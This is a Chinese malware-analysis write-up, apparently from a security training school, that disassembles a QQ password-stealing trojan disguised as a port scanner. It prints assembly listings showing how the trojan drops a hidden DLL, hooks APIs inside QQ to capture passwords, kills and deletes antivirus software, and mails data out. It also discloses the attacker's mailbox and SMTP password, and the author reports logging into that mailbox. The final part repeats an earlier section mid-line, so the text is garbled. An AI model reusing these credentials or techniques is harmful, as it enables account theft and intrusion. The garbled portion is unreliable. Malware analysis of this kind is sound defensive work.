姓名:
电话:
QQ:
学历:

对一qq木马的分析

发布时间:2009-11-23 17:59   内容发布:武汉科锐软件安全教育机构
那天晚上在群里和backer下载一端口扫描器(一看就知道是qq木马),我们把它反汇编把其中的盗qq的邮箱给弄出来了。下面抽工作之余我对这个家伙进行了详细的分析:
由于当时没有装虚拟器,就拿自己的笔记本做实验台了。用peid查壳发现是FSG的一个变形的壳,只能手工脱了,用OD载入,脱壳的具体细节我也不说了,因为在我脱的过程中一不小心给运行了,发现界面确实是个扫描器,于是看了看我的临时目录下多出两个文件:端口扫描器.exe和muma.exe看来这是个捆绑机啊。也不用脱了muma.exe出来了。
再用peid查壳发现是UPX的一个变形壳。载入OD手动脱掉之后(脱壳我就不分析了),脱出来的我们叫upack.exe吧。用Ultraedit把它们都打开会发现muma.exe最后有一些加密的字符串,脱壳后的upack.exe里就没有。把这些字串复制到upack.exe的结尾(注意要复制的刚好到位。可能有人会问:你怎么知道的呢。我一开始的时候也没有复制,在跟踪的时候发现此程序在读自身,就察觉有问题)。如果不复制的话带壳调也行。
下面开始真正的分析这个程序了:
0040507E    50              push    eax
0040507F    6A 00           push    0
00405081    68 01001F00     push    1F0001
00405086    E8 65EBFFFF     call    <jmp.&kernel32.OpenMutexA>        打开互斥
0040508B    85C0            test    eaxeax
0040508D    75 13           jnz     short 004050A2
一开始先检查互斥(判断程序运行是否唯一),由于我的机子已经中了这个木马了,需要改一下跳转。0040508D    75 13           je     short 004050A2
不然的话就自己动退出了。
004050D0    A1 C0604000     mov     eaxdword ptr [4060C0]           把"ExeMutex_QQRobber2.0"给eax
004050D5    E8 1AE3FFFF     call    004033F4                          判断上面的字符串有没有
004050DA    50              push    eax
004050DB    6A 00           push    0
004050DD    6A 00           push    0
004050DF    E8 9CEAFFFF     call    00403B80                          以"ExeMutex_QQRobber2.0"创建互斥

看一下call    00403B80这个函数里面:
00403B80    55              push    ebp
00403B81    8BEC            mov     ebpesp
00403B83    8B45 10         mov     eaxdword ptr [ebp+10]
00403B86    50              push    eax
00403B87    837D 0C 01      cmp     dword ptr [ebp+C], 1
00403B8B    1BC0            sbb     eaxeax
00403B8D    40              inc     eax
00403B8E    83E0 7F         and     eax, 7F
00403B91    50              push    eax
00403B92    8B45 08         mov     eaxdword ptr [ebp+8]
00403B95    50              push    eax
00403B96    E8 DDFFFFFF     call    <jmp.&kernel32.CreateMutexA>
00403B9B    5D              pop     ebp
00403B9C    C2 0C00         retn    0C
创建了一个互斥
下面呢
004050E9    E8 16EEFFFF     call    00403F04
到这个函数里去:
00403F25    E8 FAF5FFFF     call    00403524
00403F2A    6A 32           push    32
00403F2C    8BC3            mov     eaxebx
00403F2E    E8 19F5FFFF     call    0040344C
00403F33    50              push    eax
00403F34    E8 97FCFFFF     call    <jmp.&kernel32.GetWindowsDirectoryA>
00403F39    8D45 FC         lea     eaxdword ptr [ebp-4]
00403F3C    E8 D7FEFFFF     call    00403E18
得到系统目录,我的是:C:\windows(再往下看就知道为什么了)
看00403F3C    E8 D7FEFFFF     call    00403E18
里得到C:\的具体信息,(推测是判断一下这个C:\盘是否存在)
现在有了C:\这个系统盘符了
00403F73    E8 3CF3FFFF     call    004032B4
00403F78    EB 27           jmp     short 00403FA1                    
在程序里有内置了一个目录是:\Program Files\Common Files\Microsoft Shared\MSInfo
call    004032B4就是把C和上面的字串接起来
004050E9    E8 16EEFFFF     call    00403F04
004050EE    8B55 EC         mov     edxdword ptr [ebp-14]
004050F1    B8 B0764000     mov     eax, 004076B0
004050F6    E8 05E0FFFF     call    00403100
004050FB    A1 B0764000     mov     eaxdword ptr [4076B0]
00405100    E8 EFE2FFFF     call    004033F4
上面的函数是通过一些算法随机算出一个dll文件名,我机子上是E83B4A4D.dll然后和上面的字串接起来成为:
C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll
00405105    8BD8            mov     ebxeax
00405107    53              push    ebx                                   得到C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll的属性
00405108    E8 ABEAFFFF     call    <jmp.&kernel32.GetFileAttributesA>    它的意思是看这个文件存在否,
0040510D    83F8 FF         cmp     eax, -1                               比较是否失败
这个程序判断一个文件是否存在用的不是FindFirstFile是GetFileAttributes函数,意思是如果得不到此文件的属性就认为它不存在
00405110   /74 0E           je      short 00405120
00405112   |6A 00           push    0
00405114   |53              push    ebx
00405115   |E8 EEEAFFFF     call    <jmp.&kernel32.SetFileAttributesA>    设置此文件的属性
0040511A   |53              push    ebx
0040511B   |E8 80EAFFFF     call    <jmp.&kernel32.DeleteFileA>           注意
00405120   \8D55 E4         lea     edxdword ptr [ebp-1C]
如果存在呢,设置文件的属性为正常,然后把它删掉
继续往下看这个00405125    E8 62D5FFFF     call    0040268C
里面是:
004026A4    68 05010000     push    105
004026A9    8D4424 04       lea     eaxdword ptr [esp+4]
004026AD    50              push    eax
004026AE    6A 00           push    0
004026B0    E8 AFE9FFFF     call    <jmp.&kernel32.GetModuleFileNameA>
004026B5    8BC8            mov     ecxeax
得到自己程序和路径:我的是C:\Documents and Settings\javafish\Desktop\MSInfo\upack.exe
返回看00405130    E8 AFF7FFFF     call    004048E4
里面:
00404927    6A 00           push    0
00404929    68 80000000     push    80
0040492E    6A 03           push    3
00404930    6A 00           push    0
00404932    6A 01           push    1
00404934    68 00000080     push    80000000
00404939    8B45 FC         mov     eaxdword ptr [ebp-4]
0040493C    E8 B3EAFFFF     call    004033F4
00404941    50              push    eax
00404942    E8 29F2FFFF     call    <jmp.&kernel32.CreateFileA>           查看点击木马程序
开始操作程序本身了
下面00404962    E8 A9F2FFFF     call    <jmp.&kernel32.SetFilePointer>
调整好文件指针开始读自身的程序了
一直到:
004049EC    50              push    eax
004049ED    56              push    esi
004049EE    E8 05F2FFFF     call    <jmp.&kernel32.ReadFile>             qYrAjIODlLCMkWNu_Wrp\
HN<qH?<\HN<mD?@\HN<mD<

紧接着004049F9    E8 AAFCFFFF     call    004046A8
对加密信息进行解密,大部分是解密算法,一直往下跟:
004047CA    3B75 F4         cmp     esidword ptr [ebp-C]
004047CD  ^ 0F8C 47FFFFFF   jl      0040471A                              木马配置信息是加密过的,以上是解密配置信息
004047D3    8D45 E0         lea     eaxdword ptr [ebp-20]               [ebp-20]处显示配置信息的明文
看看解密出来的明文吧:
http://www.xxx.com/qq.asp huwan520@tom.com smtp.tom.com huwan520 100200520 huwan520@tom.com1 500 1 1 1 1 1 .u@.
根据经验可以看出邮件服务器为smtp.tom.com 收件箱为 huwan520@tom.com
Smtp服务器的用户名为huwan520,密码为:100200520
登陆一下是可以进去的,里面有六百多个qq,木马传播者的信息呢(现在已改)。
继续分析:
一直跟到
00404CDA    8BD8            mov     ebxeax                              以上在做字符串操作,把各个配置信息提取出来
会发现程序一直在做字串的拆解工作。
等函数都返回跟到:
00405138    50              push    eax
00405139    6A 01           push    1
0040513B    8BCB            mov     ecxebx
0040513D    BA 0C534000     mov     edx, 0040530C  ASCII "DATEINFO"
00405142    B8 0A000000     mov     eax, 0A
00405147    E8 2CFCFFFF     call    00404D78
发现在调用可疑的函数call    00404D78(为什么可疑呢:上面那个字串"DATEINFO"的原因)
进去看看:
00404D96    55              push    ebp
00404D97    68 F64E4000     push    00404EF6
00404D9C    64:FF30         push    dword ptr fs:[eax]
00404D9F    64:8920         mov     dword ptr fs:[eax], esp
00404DA2    C645 FF 00      mov     byte ptr [ebp-1], 0
00404DA6    56              push    esi
00404DA7    57              push    edi
00404DA8    A1 50764000     mov     eaxdword ptr [407650]
00404DAD    50              push    eax
00404DAE    E8 F5EDFFFF     call    <jmp.&kernel32.FindResourceA>
它在加载资源,而资源的名称恰恰为:"DATEINFO"
以下的
00404DC4    E8 17EEFFFF     call    <jmp.&kernel32.LoadResource>
00404DD4    E8 0FEEFFFF     call    <jmp.&kernel32.LockResource>
为取出资源来作准备
00404DEC    6A 00           push    0
00404DEE    6A 06           push    6
00404DF0    6A 02           push    2
00404DF2    6A 00           push    0
00404DF4    6A 00           push    0
00404DF6    68 000000C0     push    C0000000
00404DFB    53              push    ebx
00404DFC    E8 6FEDFFFF     call    <jmp.&kernel32.CreateFileA>           加载自身资源把dll提取出来,生成到C:\PROGRAM FILES\COMMONS FILE\....
―――真正的释放了
00404E2C    E8 E7EDFFFF     call    <jmp.&kernel32.SizeofResource>
取得资源大小
00404E3F    E8 E4EDFFFF     call    <jmp.&kernel32.WriteFile>
写入文件,此文件正是:C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll
还没完:
00404E69    50              push    eax
00404E6A    56              push    esi
00404E6B    8D45 0C         lea     eaxdword ptr [ebp+C]
00404E6E    E8 D9E5FFFF     call    0040344C
00404E73    50              push    eax
00404E74    53              push    ebx
00404E75    E8 AEEDFFFF     call    <jmp.&kernel32.WriteFile>             把木马配置文件也写到dll的结尾(可以用Ultraedit打开看看)
最后FreeResouce收尾
函数返回接着
0040514C    6A 07           push    7
0040514E    53              push    ebx
0040514F    E8 B4EAFFFF     call    <jmp.&kernel32.SetFileAttributesA>          把C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll改为隐藏属性
下面注册dll为COM可以自启动
00405156    E8 15F2FFFF     call    00404370        注册dll为Com
这个函数里用的都是注册表的操作
接下来
0040515E    E8 75EEFFFF     call    00403FD8
00405163    8B45 E0         mov     eaxdword ptr [ebp-20]
00405166    E8 89E2FFFF     call    004033F4
上面用一开始程序得到C:\Program Files\Common Files\Microsoft Shared\MSInfo\E83B4A4D.dll的方法得到一个C:\Program Files\Common Files\Microsoft Shared\MSINFO\E83B4A4D.dat的文件。
0040516B    50              push    eax 
0040516C    E8 47EAFFFF     call    <jmp.&kernel32.GetFileAttributesA>
再用GetFileAttributes函数判断C:\Program Files\Common Files\Microsoft Shared\MSINFO\E83B4A4D.dat是否存在,存在就删除
然后:
004051B6    50              push    eax
004051B7    8D55 D0         lea     edxdword ptr [ebp-30]
004051BA    33C0            xor     eaxeax
004051BC    E8 CBD4FFFF     call    0040268C
004051C1    8B45 D0         mov     eaxdword ptr [ebp-30]
004051C4    E8 2BE2FFFF     call    004033F4
004051C9    50              push    eax
004051CA    E8 99E9FFFF     call    <jmp.&kernel32.CopyFileA>                   备份当前程序成dll旁边的.dat文件
并设置属性为系统文件,让一般人都看不到
004051EA    E8 B9F0FFFF     call    004042A8//函数里得到系统目录
004051EF    8B55 C8         mov     edxdword ptr [ebp-38]
004051F2    B8 B4764000     mov     eax, 004076B4
004051F7    B9 20534000     mov     ecx, 00405320                               ASCII "Help\wshmcepts.chm"
把系统目录和Help\wshmcepts.chm拼接成C:\windows\Help\wshmcepts.chm
同样的方法用
0040520E    E8 A5E9FFFF     call    <jmp.&kernel32.GetFileAttributesA>          先看看有没有C:\windows\help\wshmcepts.chm
00405226    6A FF           push    -1
00405228    57              push    edi
00405229    8D55 C4         lea     edxdword ptr [ebp-3C]
0040522C    33C0            xor     eaxeax
0040522E    E8 59D4FFFF     call    0040268C
00405233    8B45 C4         mov     eaxdword ptr [ebp-3C]
00405236    E8 B9E1FFFF     call    004033F4
0040523B    50              push    eax
0040523C    E8 27E9FFFF     call    <jmp.&kernel32.CopyFileA>                   如果没有C:\windows\Help\wshmcepts.chm的话把当前程序备份成C:\windows\help\wshmcepts.chm
并设置属性为系统属性
0040524A    E8 89E9FFFF     call    <jmp.&kernel32.LoadLibraryA>                载入dll了
0040524F    8BD8            mov     ebxeax
00405251    85DB            test    ebxebx
00405253    75 0A           jnz     short 0040525F
00405255    33C0            xor     eaxeax
00405257    5A              pop     edx
00405258    59              pop     ecx
00405259    59              pop     ecx
0040525A    64:8910         mov     dword ptr fs:[eax], edx
0040525D    EB 74           jmp     short 004052D3
0040525F    68 34534000     push    00405334                                    得到dll里的钩子函数JumpHookOn的地址
00405264    53              push    ebx
00405265    E8 56E9FFFF     call    <jmp.&kernel32.GetProcAddress>
0040526A    A3 B8764000     mov     dword ptr [4076B8], eax
0040526F    68 40534000     push    00405340                                    得到关闭钩子JumpHookOff的地址
00405274    53              push    ebx
00405275    E8 46E9FFFF     call    <jmp.&kernel32.GetProcAddress>
0040527A    89C7            mov     edieax
0040527C    FF15 B8764000   call    dword ptr [4076B8]                          加载钩子
00405282    68 E8030000     push    3E8
00405287    E8 94E9FFFF     call    <jmp.&kernel32.Sleep>
0040528C    A1 C4604000     mov     eaxdword ptr [4060C4]
00405291    E8 5EE1FFFF     call    004033F4
00405296    50              push    eax                                         看自己是否唯一,如果唯一就循环查看自己是否唯一,如果不唯一就退出
00405297    6A 00           push    0
00405299    68 01001F00     push    1F0001
0040529E    E8 4DE9FFFF     call    <jmp.&kernel32.OpenMutexA>
004052A3    85C0            test    eaxeax
004052A5  ^ 74 DB           je      short 00405282
004052A7    50              push    eax
004052A8    E8 B3E8FFFF     call    <jmp.&kernel32.CloseHandle>
以上是对qq木马exe文件的分析,而它的一些要害功能都在上面的DLL里(未完)
前面在分析此木马的exe文件的最后调动了一下C:\program files\common\micsoftshared\msinfo\下的一个dll的JumpHookOn
下面分析一下这个dll:
先看JumpHookOn:如下
003D45B8 >/$  6A 00         push    0                                 /ThreadID = 0
003D45BA  |.  A1 50D63D00   mov     eaxdword ptr [3DD650]           |
003D45BF  |.  50            push    eax                               |hModule => NULL
003D45C0  |.  B8 98453D00   mov     eax, 003D4598                     |
003D45C5  |.  50            push    eax                     |Hookproc => E83B4A4D.003D4598
003D45C6  |.  6A 03         push    3                       |HookType = WH_GETMESSAGE
003D45C8  |.  E8 2FFFFFFF   call    <jmp.&user32.SetWindowsHookExA>   \SetWindowsHookExA
003D45CD  |.  A3 70D63D00   mov     dword ptr [3DD670], eax
发现HOOK是用的消息钩子
不过从它的回调函数看来这个钩子基本没用
因为里面什么事也没干只调用了CallNextHook函数
从dll的主函数开始看:
Dll先调用:
003DBC05   .  55            push    ebp
003DBC06   .  68 28BF3D00   push    003DBF28
003DBC0B   .  64:FF30       push    dword ptr fs:[eax]
003DBC0E   .  64:8920       mov     dword ptr fs:[eax], esp
003DBC11   .  68 04010000   push    104                                       /BufSize = 104 (260.)
003DBC16   .  68 64D93D00   push    003DD964                                  |PathBuffer = E83B4A4D.003DD964
003DBC1B   .  6A 00         push    0                                         |hModule = NULL
003DBC1D   .  E8 3287FFFF   call    <jmp.&kernel32.GetModuleFileNameA>        \GetModuleFileNameA
得到程序的路径和名称,我的是:
003DD964  43 3A 5C 44 6F 63 75 6D 65 6E 74 73 20 61 6E 64  C:\Documents andSettings\Adminstrator\桌面\OllyICE\LOADDLL.EXE
(上一次的机子我怕分析出问题所以换了台机子,我用的是OD的LOADDLL加载分析的DLL)
提取出LOADDLL.EXE
调用
003DBC49   .  BA 68BF3D00   mov     edx, 003DBF68                ASCII "Explorer.exe"
003DBC4E   .  E8 558FFFFF   call    003D4BA8
003DBC53   .  84C0          test   ,  alal
来判断它与Explorer.exe是否一样,不一样的话退出
为了分析把下面的je改为jnz
下面打开003DBC6F   .  E8 3087FFFF   call    <jmp.&kernel32.OpenMutexA>     \OpenMutexA
不用去理会
接着调用:
003DBC85   .  E8 6A8DFFFF   call    003D49F4
这个函数的功能和上面的.exe中的一样:得到系统目录,算出本机的.dll文件拼接为:C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll
下面就是生成这个dll,和前面说的.exe的一样
003DBCA2   .  E8 D995FFFF   call    003D5280
下面开始创建线程:
003DBCAC   .  C600 01       mov     byte ptr [eax], 1
003DBCAF   .  68 60D93D00   push    003DD960                    /pThreadId = E83B4A4D.003DD960
003DBCB4   .  6A 00         push    0                           |CreationFlags = 0
003DBCB6   .  6A 00         push    0                           |pThreadParm = NULL
003DBCB8   .  68 FCB33D00   push    003DB3FC                    |ThreadFunction = E83B4A4D.003DB3FC
003DBCBD   .  6A 00         push    0                           |StackSize = 0
003DBCBF   .  6A 00         push    0                           |pSecurity = NULL
003DBCC1   .  E8 5E86FFFF   call    <jmp.&kernel32.CreateThread>\CreateThread
先在要去的线程地址上下个断点,一会就到了。先分析主线程,不用管它。
往下看:
003DBCC6   .  68 04010000   push    104     /BufSize = 104 (260.)
003DBCCB   .  68 64D93D00   push    003DD964          |PathBuffer = E83B4A4D.003DD964
003DBCD0   .  A1 50D63D00   mov     eaxdword ptr [3DD650]        |
003DBCD5   .  50            push    eax           |hModule => 003D0000 (E83B4A4D)
003DBCD6   .  E8 7986FFFF   call    <jmp.&kernel32.GetModuleFileNameA>     \GetModuleFileNameA
003DBCDB   .  68 64D93D00   push    003DD964   /FileName = "C:\Documents and Settings\Administrator\",D7,"烂鎈E83B4A4D.dll"
003DBCE0   .  E8 AF86FFFF   call    <jmp.&kernel32.LoadLibraryA>   \LoadLibraryA
003DBCE5   >  8D45 A8       lea     eaxdword ptr [ebp-58]
003DBCE8   .  BA 64D93D00   mov     edx, 003DD964
003DBCED   .  B9 05010000   mov     ecx, 105
003DBCF2   .  E8 597BFFFF   call    003D3850
003DBCF7   .  8B45 A8       mov     eaxdword ptr [ebp-58]
003DBCFA   .  8D55 AC       lea     edxdword ptr [ebp-54]
003DBCFD   .  E8 D68EFFFF   call    003D4BD8
003DBD02   .  8B45 AC       mov     eaxdword ptr [ebp-54]
003DBD05   .  BA 80BF3D00   mov     edx, 003DBF80     ASCII "QQ.Exe"
上面先得到文件的路径,然后和”QQ.EXE”进行比较(进行比较是在call    003D4BA8里面)
发果不一样就跳走,(这可是个关键跳,两边都的分析)
先按正常顺序来,跳走
又开始那一系列:打开互斥….
然后
把和前面一样得到系统目录把C:\windows\Help\wshmcepts.chm备份到"C:\ALASTART.EXE"然后运行一下。
然后主线程就这样永远的结束了。
让我们回过头来看看与QQ.EXE比较后的关键跳吧:
为什么拿QQ.EXE和自己比较呢,肯定有问题(应该是它会注入到QQ.EXE里面去),就是说当QQ被注入线程之后,在它里面的DLL它的主线程的名字才叫QQ.EXE,我们把跳转改一下
003DBD11     /0F85 E8000000 jnz     003DBDFF      注意
把下面的互斥跳转也要改
003DBD34     /0F85 C5000000 jnz     003DBDFF
下面开始:
003DBD43   .  E8 AC8CFFFF   call    003D49F4
上.exe一样得到C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll
003DBD60   .  E8 1B95FFFF   call    003D5280  上面dll文件信息
003DBD97   .  8D45 90       lea     eaxdword ptr [ebp-70]
003DBD9A   .  B9 90BF3D00   mov     ecx, 003DBF90     ASCII "npkcrypt.bak"
003DBD9F   .  8B15 6CDA3D00 mov     edxdword ptr [3DDA6C]
003DBDA5   .  E8 0A7BFFFF   call    003D38B4
003DBDB2   .  50            push    eax
003DBDB3   .  8D45 8C       lea     eaxdword ptr [ebp-74]
003DBDB6   .  B9 A8BF3D00   mov     ecx, 003DBFA8                 ASCII "npkcrypt.sys"
003DBDBB   .  8B15 6CDA3D00 mov     edxdword ptr [3DDA6C]
003DBDC1   .  E8 EE7AFFFF   call    003D38B4
003DBDC6   .  8B45 8C       mov     eaxdword ptr [ebp-74]
003DBDC9   .  E8 9A7CFFFF   call    003D3A68
003DBDCE   .  50            push    eax                          |ExistingName
003DBDCF   .  E8 C885FFFF   call    <jmp.&kernel32.MoveFileA>    \MoveFileA
说明是把QQ目录下的npkcrypt.sys改成npkcrypt.bak
003DBDD4   .  8D45 88       lea     eaxdword ptr [ebp-78]
003DBDD7   .  B9 C0BF3D00   mov     ecx, 003DBFC0                      ASCII "LoginCtrl.dll"
003DBDDC   .  8B15 6CDA3D00 mov     edxdword ptr [3DDA6C]
003DBDE2   .  E8 CD7AFFFF   call    003D38B4
003DBDE7   .  8B45 88       mov     eaxdword ptr [ebp-78]
003DBDEA   .  E8 797CFFFF   call    003D3A68
003DBDEF   .  50            push    eax                               /FileName
003DBDF0   .  E8 9F85FFFF   call    <jmp.&kernel32.LoadLibraryA>      \LoadLibraryA
Load一下qq目录里的LoginCtrl.dll(加载dll郁闷啊,为了模拟真实环境我只能把它copy到qq目录下)
然后启动一个线程,
003DB098  /.  55            push    ebp
003DB099  |.  8BEC          mov     ebpesp
003DB09B  |.  53            push    ebx
003DB09C  |.  BB A00F0000   mov     ebx, 0FA0
003DB0A1  |>  E8 16FFFFFF   /call    003DAFBC
003DB0A6  |.  6A 64         |push    64                               /Timeout = 100. ms
003DB0A8  |.  E8 2793FFFF   |call    <jmp.&kernel32.Sleep>            \Sleep
003DB0AD  |.  4B            |dec     ebx
003DB0AE  |.^ 75 F1         \jnz     short 003DB0A1
003DB0B0  |.  5B            pop     ebx
003DB0B1  |.  5D            pop     ebp
003DB0B2  \.  C2 0400       retn    4
它在每0.1s循环做一件事情:看call    003DAFBC
里面不断的找标题为QQ用户登陆的对话框
找到就在上面的画上一个图标(伪装?)
找不到就找qq,找到就发送WM_SYSCOMMAND消息,参数为:SC_CLOSE把其关掉
接着启动一个线程之后
然后又调用003DBDFA   .  E8 31FBFFFF   call    003DB930
这个调用是非常关键的,不过此DLL是运行在我的LoadDLL.EXE里面的不是QQ里面(因为前面我把跳转改了),所以动态是跟不进去了,因为它要LoadLibrary一些QQ的DLL所以只能静态的分析:
看这个call里面:
003DB930  /$  68 CCB93D00   push    003DB9CC        /Arg3 = 003DB9CC ASCII "user32.dll"
003DB935  |.  68 D8B93D00   push    003DB9D8         |Arg2 = 003DB9D8 ASCII "LoadImageA"
003DB93A  |.  68 20B83D00   push    003DB820         |Arg1 = 003DB820
003DB93F  |.  B9 E4B93D00   mov     ecx, 003DB9E4    |ASCII "LoginCtrl.Dll"
003DB944  |.  B2 01         mov     dl, 1               |
003DB946  |.  A1 C0B53D00   mov     eaxdword ptr [3DB5C0]     |
003DB94B  |.  E8 C8FCFFFF   call    003DB618          \up.003DB618
又在不断的call
1.    user32.dll,LoadImageA,LoginCtrl.Dll
2.    user32.dll,LoadStringA,MFC42.Dll
3.    shell32.dll,ShellExecuteA,QQHelperDll.Dll
全是用的call    003DB618,这里一定很重要
拿第一组为例子看一下:
003DB639  |.  E8 1E8DFFFF   call    <jmp.&kernel32.GetModuleHandleA>  \GetModuleHandleA
003DB63E  |.  8947 08       mov     dword ptr [edi+8], eax
003DB641  |.  837F 08 00    cmp     dword ptr [edi+8], 0
003DB645  |.  74 2E         je      short 003DB675
003DB647  |.  895F 0C       mov     dword ptr [edi+C], ebx
003DB64A  |.  8B45 08       mov     eaxdword ptr [ebp+8]
003DB64D  |.  8947 10       mov     dword ptr [edi+10], eax
003DB650  |.  8B45 0C       mov     eaxdword ptr [ebp+C]
003DB653  |.  50            push    eax                               /ProcNameOrOrdinal
003DB654  |.  53            push    ebx                               |/pModule
003DB655  |.  E8 028DFFFF   call    <jmp.&kernel32.GetModuleHandleA>  |\GetModuleHandleA
003DB65A  |.  50            push    eax                               |hModule
003DB65B  |.  E8 0C8DFFFF   call    <jmp.&kernel32.GetProcAddress>    \GetProcAddress
从入栈的情况看来看是想找到LoginCtrl.DLL中调用user32.dll里LoadImageA的地址,得到了但没有调用,(中间也加杂着除错的代码)紧接着
003DB670  |.  E8 67000000   call    003DB6DC
Call了一下,跟进去:
一目了然,别的不说光看这里调用的API(ImageDirectoryEntryToData,VirtualProtect,WriteProcessMemory)就可想象它想干什么了:没错,HOOK api,但为什么会HOOK LoadImage呢
可以用资源查看器eXeScope.exe看一下木马dll的资源,里面有一个图标,是qq登陆框密码输入框上的小锁,估计是用来伪装qq密码加锁的现象。
那么其它的就不用说了吧
它想把LoadStringA,和ShellExecuteEx都HOOK掉,说明它盗QQ用的技术不是HOOP消息,而是HOOK API。
在这里应该可以初步的看出它盗QQ的做法是:把密码加锁关掉,但又不想让用户看出来便自己伪装了一个图标。既然密码加锁关掉了,那么QQ的实时输入密码便不会被加密。然后HOOK LoadString把密码截获。
回过头来看看
003DBCC1   .  E8 5E86FFFF   call    <jmp.&kernel32.CreateThread>      \CreateThread
那个线程吧
地址是:003db3fc
到那里去看看
发现它又创建了5个线程(创建它们是有条件的):不过这里我们改跳转就全让它创建了(这样程序可能会运行失败)。
这5个线程:
1.    003db0d0
2.    003db10c
3.    003db120
4.    003db12c
5.    003db244
003db0d0:里面看003DB0F1  |.  E8 A6D0FFFF   call    003D819C
跟进去会看到:
003D81E7  |.  E8 98FBFFFF   call    003D7D84                    
再跟进去:
003D7D8A  |.  E8 79FDFFFF   call    003D7B08
再跟进去:会发现开始不断的得到一系列列出进程的函数的地址
不断的调用它们把进程,模块,线程都列出来
然后和它储备的一些比较,并在这里
003D8262  |.  E8 15FFFFFF   |call    003D817C
003D817C  /$  53            push    ebx
003D817D  |.  50            push    eax                         /ProcessId
003D817E  |.  6A FF         push    -1                          |Inheritable = TRUE
003D8180  |.  68 FF0F1F00   push    1F0FFF                      |Access = PROCESS_ALL_ACCESS
003D8185  |.  E8 22C2FFFF   call    <jmp.&kernel32.OpenProcess> \OpenProcess
003D818A  |.  8BD8          mov     ebxeax
003D818C  |.  6A 00         push    0                           /ExitCode = 0
003D818E  |.  53            push    ebx                         |hProcess
003D818F  |.  E8 48C2FFFF   call    <jmp.&kernel32.TerminatePr> \TerminateProcess
结束进程.
来看第二个003db10c:
003DB10C  /.  55            push    ebp
003DB10D  |.  8BEC          mov     ebpesp
003DB10F  |.  E8 10D9FFFF   call    003D8A24
003DB114  |.  E8 A3DCFFFF   call    003D8DBC
003DB119  |.  5D            pop     ebp
003DB11A  \.  C2 0400       retn    4
里面有两个call
第一个是不断的列出自己的字串和“system\currentcontrolset\services\”或“software\microsoft\windows\currentversion\run”接起来,把有关杀毒软件的信息删除。
把杀毒软件的服务信息删除由于它储备的杀毒软件信息太多这里就不列出来了。
第二个是不断的猜注册表里杀毒软件的安装信息得到杀毒软件的安装路径,把杀毒软件的重要文件备份成为*.bak,删除。
第三个在里面的函数可以看出主要是真对还原精灵的,在注册表里删除还原精灵的信息。
不过在里面又启动一个线程
003D9BE5  |.  50            push    eax                            /pThreadId
003D9BE6  |.  6A 00         push    0                              |CreationFlags = 0
003D9BE8  |.  6A 01         push    1                              |pThreadParm = 00000001
003D9BEA  |.  68 84993D00   push    003D9984                       |ThreadFunction = E83B4A4D.003D9984
003D9BEF  |.  6A 00         push    0                              |StackSize = 0
003D9BF1  |.  6A 00         push    0                              |pSecurity = NULL
003D9BF3  |.  E8 2CA7FFFF   call    <jmp.&kernel32.CreateThread>   \CreateThread
进去:是为了隐藏一个叫LanCard的东西,不知道为什么这两个还特别对待。可能是因为还原精灵有点复杂,对复的方法不一样。
第四个:看
003DB173   .  E8 08A9FFFF   call    003D5A80
进去:可以看到它在准备初始化socket库开始对外发信了,具体不跟了就是smtp协议
看第五个:
读取注册表中qq的安装信息得到qq的路径,然后得到TIMPlatform.exe的路径
003DB302   .  E8 95CEFFFF   call    003D819C
上面call这里面和第一个线程调用的是一样的,列出进程把TIMPlatform.exe的进程杀掉。
003DB31F   .  50            push    eax
003DB320   .  8D45 E8       lea     eaxdword ptr [ebp-18]
003DB323   .  E8 A097FFFF   call    003D4AC8
003DB328   .  8B45 E8       mov     eaxdword ptr [ebp-18]
003DB32B   .  E8 3887FFFF   call    003D3A68
003DB330   .  50            push    eax                               |ExistingFileName
003DB331   .  E8 B68FFFFF   call    <jmp.&kernel32.CopyFileA>         \CopyFileA
把C:\program files\common\micsoft shared\MSINFO\***.dat(前面提到过的木马备份)复制到C:\program files\qq2006\***.exe。C:\program files\qq2006\TIMPlatform.exe复制到C:\program files\qq2006\TIMPlatform.exe.bak
然后向TIMPlatform.exe写入一些东西,什么东西呢,我也不知道。这个的专门研究了TIMPlatform.exe才行。估计是修改了TIMPlatform的功能(恶意的)。
鉴定完毕,如果有错误的地方请大家批评指出,谢谢,^_^
,  alal
来判断它与Explorer.exe是否一样,不一样的话退出
为了分析把下面的je改为jnz
下面打开003DBC6F   .  E8 3087FFFF   call    <jmp.&kernel32.OpenMutexA>     \OpenMutexA
不用去理会
接着调用:
003DBC85   .  E8 6A8DFFFF   call    003D49F4
这个函数的功能和上面的.exe中的一样:得到系统目录,算出本机的.dll文件拼接为:C:\Program Files\Common Files\Microsoft Shared\MSInfo\2A1D0905.dll
下面就是生成这个dll,和前面说的.exe的一样
003DBCA2   .  E8 D995FFFF   call    003D5280
下面开始创建线程:
003DBCAC   .  C600 01       mov     byte ptr [eax], 1
003DBCAF   .  68 60D93D00   push    003DD960                    /pThreadId = E83B4A4D.003DD960
003DBCB4   .  6A 00         push    0                           |CreationFlags = 0
003DBCB6   .  6A 00         push    0                           |pThreadParm = NULL
003DBCB8   .  68 FCB33D00   push    003DB3FC                    |ThreadFunction = E83B4A4D.003DB3FC
003DBCBD   .  6A 00         push    0                           |StackSize = 0
003DBCBF   .  6A 00         push    0                           |pSecurity = NULL
003DBCC1   .  E8 5E86FFFF   call    <jmp.&kernel32.CreateThread>\CreateThread
先在要去的线程地址上下个断点,一会就到了。先分析主线程,不用管它。
往下看:
003DBCC6   .  68 04010000   push    104     /BufSize = 104 (260.)
003DBCCB   .  68 64D93D00   push    003DD964          |PathBuffer = E83B4A4D.003DD964
003DBCD0   .  A1 50D63D00   mov     eaxdword ptr [3DD650]        |
003DBCD5   .  50            push    eax           |hModule => 003D0000 (E83B4A4D)
003DBCD6   .  E8 7986FFFF   call    <jmp.&kernel32.GetModuleFileNameA>     \GetModuleFileNameA
003DBCDB   .  68 64D93D00   push    003DD964   /FileName = "C:\Documents and Settings\Administrator\",D7,"烂鎈E83B4A4D.dll"
003DBCE0   .  E8 AF86FFFF   call    <jmp.&kernel32.LoadLibraryA>   \LoadLibraryA
003DBCE5   >  8D45 A8       lea     eaxdword ptr [ebp-58]
003DBCE8   .  BA 64D93D00   mov     edx, 003DD964
003DBCED   .  B9 05010000   mov     ecx, 105
003DBCF2   .  E8 597BFFFF   call    003D3850
003DBCF7   .  8B45 A8       mov     eaxdword ptr [ebp-58]
